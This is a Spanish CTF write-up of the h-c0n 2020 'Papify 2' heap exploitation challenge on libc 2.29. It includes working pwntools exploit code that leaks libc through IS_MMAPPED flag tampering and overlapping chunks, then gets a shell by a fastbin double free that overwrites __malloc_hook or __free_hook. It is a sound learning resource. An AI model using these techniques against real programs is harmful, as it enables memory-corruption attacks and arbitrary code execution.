17 January 2020 - tags: heap, libc 2.29

h-c0n 2020 - Exploiting - Papify 2 (heap, libc 2.29)

Resumen

Para este reto de heap nos proporcionan un docker basado en ubuntu 19.04, es decir libc 2.29. Como es habitual, tenemos el clásico menú de opciones:

Calloc y leak de libc

Como comentábamos, calloc no hace uso del thread cache (tcache) de la libc >=2.27. Este cache almacena por thread de la aplicación hasta un máximo de 7 chunks. Si queremos reutilizar algún chunk, nos tenemos que asegurar de que está lleno para el tamaño de chunk que vayamos a utilizar. Los siguientes chunks liberados con free, en función de su tamaño, se irán a los diferentes bins (fastbin, smallbin, unsorted, etc), cada uno de ellos con sus características. Ahora sí, cuando volvamos a reservar memoria, en lugar de seguir obteniéndolos de nuevas zonas del heap, si existe algún bin que coincida, se nos devolverá, ya sea íntegra o parcialmente (unsorted bin).

# Llenamos el tcache para los tamaños de chunk que usamos
for i in range(7):
    add(0,0x68)
    delete(0)

La otra característica de la que hablaba se refiere a la inicialización de la memoria del chunk que hace calloc. Los chunks que obtenemos se borran, salvo en un caso concreto, impidiendo mostrar su contenido previo. El caso concreto es que el chunk haya sido reservado con mmap. Esto sucede cuando se solicitan chunks muy grandes, aunque en este reto estamos limitados a un tamaño máximo de 0x200 bytes.

Repasando el código de _libc_calloc, vemos ésto:

/* .... */
p = mem2chunk (mem);
/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
    // Esta condición no se cumple salvo que estemos depurando (perturb_byte!=0)
    if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz); 
    
    //Devuelve el chunk sin inicializar
    return mem;
}
/* .. Continua la función, y realiza el borrado */

Por tanto, nuestro primer objetivo será hacer creer a esa función que el chunk que está a punto de devolver fue asignado mediante mmap.

/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

Como vemos, el campo mchunk_size, además de contener el tamaño del chunk, que está alineado a 8 o 16 bytes, según la arquitectura, utiliza los bits menos significativos para almacenar ciertas flags, entre ellas que el chunk proviene de un mmap. Aprovecharemos la vulnerabilidad de la función fix de la aplicación para modificar el campo size del siguiente chunk en memoria, activando esa flag IS_MMAPPED.

Leak libc

Una forma común de obtener la dirección base de libc es acceder a un chunk recientemente liberado al unsorted bin. Cuando se libera un chunk, se mete en una lista doblemente enlazada. En sus campos fd y bk se guardan punteros al siguiente y anterior chunk de la lista. Cuando sólo hay uno, ambos punteros apuntan a una dirección conocida de la libc, el main_arena. Sabiendo esta dirección podemos obtener la ubicación base de libc.

En el siguiente código se utiliza esta técnica. Se libera un bloque y se vuelve a reservar de nuevo. Para evitar que calloc borre su contenido, antes de reservarlo de nuevo utilizamos el método fix del reto para marcar ese chunk como IS_MMAPPED.

add(0, 0xf8, "0")
add(1, 0xf8, "1")
add(2, 0x20, "evita colapsar")

# Borramos el chunk 1 que reservaremos más adelante
delete(1)
# Modificamos el chunk 1, de tamaño 0x100, estableciendo las flags IS_MMAPED (0x02) y PREV_INUSE (0x01)
fix(0, 0xf8, "\x03")
# Reservamos el mismo bloque. Enviamos 8bytes que sobrescribe fd (no podemos enviar 0 bytes)
add(1, 0xf8, 'A'*8)
dump(1)
# Los primeros bytes después de 'A'*8, contienen la dirección del main_arena en el puntero bk
# al tratarse del primer chunk en el unsorted bin
io.recvuntil('A'*8)
leak = unpack( io.recv(6).ljust(8,"\x00") )
libc_address = leak - 0x1e4ca0 
log.info("libc address. %16x", libc_address)

Leak libc, the hard way

En el momento de hacer el reto no caí en la cuenta de ese flag IS_MMAPED, así que tuve que dar unos cuantos rodeos para obtener la dirección del main_arena.

Breve descripción de la técnica utilizada:

  1. Reservamos 2 bloques consecutivos de tamaño 0x100 (reservamos 0xf8, pero el chunk requiere 8 bytes extras).
  2. Al primer bloque se le modifica su tamaño, incrementándolo, de forma que solape parcialmente con el que le sigue
  3. Liberamos el bloque modificado, con su nuevo tamaño.
  4. Reservamos un bloque del tamaño original, de forma que parte de ese chunk en el unsorted bin se divida en este tamaño y lo que reste.
  5. El chunk que está ahora en el unsorted bin solapa en el inicio con el segundo bloque del primer punto.
  6. Reservamos bloque del tamaño restante
  7. Liberamos el segundo bloque original, lo que provocará que se escriban sus punteros fd y bk.
  8. Dupeamos el bloque reservado en el punto 6, que ahora contendrá esos puntos, permitiéndonos obtener la dirección del main_arena.

Para que esta técnica funcione nos falta un detalle. Al ampliar de forma artificial el tamaño de un bloque, pero sin desplazar el resto de chunks que le siguen, estamos corrompiendo la lista de chunks, y si hacemos un seguimiento de los chunks desde su base hasta llegar al top chunk, vemos que no cuadra.

Este chunk modificado debe tener a continuación un chunk válido, ya sea libre o no, y para ello es necesario que su campo size sea correcto. En este momento, ese campo size está dentro del chunk 2, el que queremos solapar. A la hora de crearlo en el punto 1), tenemos que asegurarnos que tenga la información adecuada. Nuestro objetivo es que crear una estructura que represente un chunk ficticio, con el tamaño justo para llegar al siguiente chunk válido, o al top chunk.

Creamos los chunks:

[ 0x100 | datos chunk 1    ] [ 0x100 | datos chunk 2       ] [ size | top chunk ]

Modificamos el tamaño del primero de ellos:

[ 0x1e0 | datos chunk 1 .....................] [ ??? ]
                             [ 0x100 | datos chunk 2       ] [ size | top chunk ]

Vemos como el tamaño de chunk 1 solapa con el 2. Para que ese chunk 1 siga siendo válido, tenemos que crear uno ficticio a continuación. Ahí meteremos el tamaño restante hasta llegar al top chunk. Esta operación la hemos hecho durante la creación del chunk 2, ya que en el reto no hay opción para modificar. Ésta es la estructura que conseguimos:

[ 0x1e0 | datos chunk 1 ......................] [0x21|fake ] [ size | top chunk ]
                             [ 0x100 | datos chunk 2       ] 

Ahora, recorriendo los chunks desde la base del heap, llegamos al top chunk, lo que nos evitará crasheos al reservar chunks nuevos en el futuro.

El siguiente paso es liberar ese nuevo chunk de 0x1e0, para que vaya al unsorted bin. Las siguientes asignaciones, si son menores que su tamaño, se irán tomando de este chunk.

Después de una reserva de 0xf8 (0x100) bytes. Tenemos esta situación:

[ 0x100 | nuevo chunk      ] [ 0xe0 | free     ] [0x21|fake] [ size | top chunk ]
                             [ 0x100| datos chunk 2        ] 

El chunk libre de 0x1e0 que metimos en unsorted bin ha servido para asignar 0x100, pero permanece una parte libre, de tamaño 0xe0, que reservaremos a continuación (ULTIMO). Este nuevo chunk solapará con el inicio del chunk 2, ya que están en la misma posición de memoria:

[ 0x100 | nuevo chunk      ] [ 0xe0 | ULTIMO   ] [0x21|fake] [ size | top chunk ]
                             [ 0xe0 | datos chunk 2        ] 

Justamente por compartir memoria, el campo size del chunk 2 ha sido sobrescrito con el valor 0xe0. Hay que tenerlo en cuenta, porque cuando lo liberemos se irá al unsorted bin de ese tamaño.

Finalmente, al liberar el chunk 2 original, free enviará ese chunk al unsorted bin (tiene el tamaño adecuado), y de paso establecerá los campos fd y bk que comparten posición con los datos de usuario, y los estalecerá a la dirección del main_arena, dado que es el primero de este tamaño que llega.

Solo nos falta, como en el capítulo anterior, mostrar el último chunk para obtener la dirección base de libc.

Traducido a código:

# Creamos 3 chunks, el primero de ellos solamente para poder utilizar la opción fix del reto
add(0, 0xf8)    
add(1, 0xf8)                        # chunk 1
add(2, 0xf8, "p"*0xd8 + pack(0x21)) # chunk 2

# Modificamos el tamaño del chunk 1. Le ampliamos su tamaño, y lo liberamos.
fix(0, 0xf8, "\xe1")
delete(1)

# Creamos un chunk hasta el límite del chunk 2
add(0, 0xf8)

# Creamos otro chunk que solape con 2
add(0, 0xd8)

# Liberamos el chunk2 original. 
delete(2)

# Dumpeamos y sacamos el mainarena y libc base
dump(0)
leak = unpack( io.recv(6).ljust(8,"\x00") )
libc_address = leak - 0x1e4ca0 
log.info("libc address. %16x", libc_address)

Obteniendo shell

En este tipo de retos, lo habitual es sobrescribie una dirección de memoria que contiene funciones de ayuda a la depuración de libc, concretamente __free_hook y __malloc_hook. Estas funciones, si están definidas, se llamarán cada vez que se reserve o libere un bloque de memoria.

La más práctica es __free_hook, ya que recibe como parámetro la dirección de un chunk, que habremos reservado previamente con el valor /bin/sh. Si hemos establecido __free_hook a la dirección de system, al liberar este bloque obtendremos shell.

Para poder escribir en esa dirección de memoria, primero tenemos que conseguir que calloc devuelva un puntero a una zona de memoria cercana. Para ello, debemos modificar el campo fd de un chunk que se encuentre en fastbin, que tiene menos medidas de seguridad al tratarse de una lista simplemente enlazada. Además, necesitamos que el chunk nuevo en esa zona de memoria tenga el tamaño adecuado, es decir, que donde vaya a asignarse haya algo que nos sirva como tamaño.

Es habitual encontrarse punteros en esas zonas de memoria y, si son a la libc o al stack, suelen empezar por 0x7f. Buscaremos uno de ellos para usarlo como byte menos significativo del campo size, y apuntar allí el fd del chunk que vamos a modificar.

Double free

Una de las técnicas para modificar un chunk que está en fastbin es liberarlo dos veces. De esta forma, dos calloc sucesivos apuntarán a la misma zona de memoria. La única precaución que debemos tener es no liberar el mismo bloque dos veces seguidas, sino intercalar otro en medio.

Una vez hecho, reservamos un nuevo chunk, que rellenaremos con el puntero fd que nos interese, es decir, que apunte a la zona de memoria donde reside el siguiente chunk de la lista. Como hemos encontrado un byte 0x7f suelto poco antes del __malloc_hook, ése será el valor.

Este chunk recien creado, por haber hecho double-free, habrá sobrescrito el contenido del mismo chunk que está aún en el fastbin. Después de reservar ese chunk, la siguiente asignación de ese tamaño será en la dirección de memoria que le indicamos. Es en ese momento cuando sobrescribiremos el __malloc_hook.

Una llamada posterior a calloc provocará que se ejecute ese código. Como esa función no recibe ningún parámetro que podamos modificar, al contrario que con __free_hook, haremos uso de un one_gadget. Son direcciones de memoria de la libc que al saltar a ellas ejecutan /bin/sh si se cumple una serie de condiciones. Si hemos elegido el gadget correcto, la siguiente asignación nos proporcionará shell.

add(0, 0x68, "0")
add(1, 0x68, "1")

delete(0)
delete(1)
delete(0) # Double free

add(0, 0x68, pack(libc.sym['__malloc_hook'] - 0x23))
add(0, 0x68, "")
add(0, 0x68, "")
# El siguiente chunk estará 0x13 bytes antes de __malloc_hook
add(0, 0x68, '\x00' * 0x13 + pack(libc.address + 0x106ef8))

# Finalmente creamos un nuevo chunk
io.sendline("1") # create
io.sendline("0") # index
io.sendline("1") # size

io.interactive()

Obteniendo shell, the hard way

Cuando hice el reto, por alguna razón que aún no comprendo, no me funcionó ese one_gadget, siempre provocaba un segfault. Después de mucha desesperación, decidí hacerlo a lo bruto.

El problema para sobrescribir __free_hook era que no había ningún byte 0x7f utilizable relativamente cerca de su posición. El primero que encontré se hallaba a casi 4000 bytes de distancia.

El método que utilicé fue empeza obtene un chunk en esa dirección lejana y escribir un byte 0x7f al final del mismo, de manera que sirviese como apoyo para el siguiente. De esta menera, podemos ir enlazando chunks hasta llegar al _free_hook. Solo fueron necesarios unos 37.

Dejo por aquí el código, aunque no me siento especialmente orgulloso del mismo X-D

c=0
# Empezamos en el primer 0x7f que encontramos
fake_address = __free_hook - 0xedb - 8
# Paramos cuando el nuevo chunk vaya a estar solapando a free_hook
while fake_address + 0x60 < __free_hook:
    c+=1
    log.info("[%d] Creando chunk en %16x", c, fake_address)
    # Escribimos el 0x7f en la posición 0x60
    add(1,0x68, "\x00" * 0x5f + "\x7f") 

    # Creamos chunks y los liberamos. Usando double free podemos modificar ->fd
    add(0,0x68)
    add(1,0x68)
    add(2,0x68)
    delete(0)
    delete(1)
    delete(0)

    # Modificamos el fd del chunk para que apunte al 0x7f que acabamos de crear como size
    add(0,0x68, pack(fake_address) + pack(fake_address))
    add(2,0x68, "\x00")
    add(1,0x68, "\x00") 

    # Incrementamos la dirección objetivo    
    fake_address += 0x68 - 1 

log.info("Ahora parcheamos __free_hook")
add(1, 0x68, "\x00"*0x57 + pack(libc.sym['system']))

# Creamos un chunk con /bin/sh y lo liberamos para llamar a system
add(0, 0x20, "/bin/sh\x00")
delete(0)

io.interactive()

Conclusiones

Los retos de heap son para echarlos de comer aparte, es completamente distinto a los stack overflows y similares. Aquí tienes que pelearte con la implementación concreta de la libc, entender cómo funciona y tratar de saltar las medidas de protección que tengan implementadas.

Mi solución al reto, aunque poco eficiente y mucho más compleja que la que se esperaba, me ha servido para aprender un poco más de este mundillo. En última instancia, solucionar estos retos depende mucho de la experiencia previa, haberse leido basntantes writeups y peleado con ellos hasta conseguirlo, de la manera que sea.

Mis dieses al equipo de la h-c0n, y más concretamente a ka0rz por este reto.

Descargas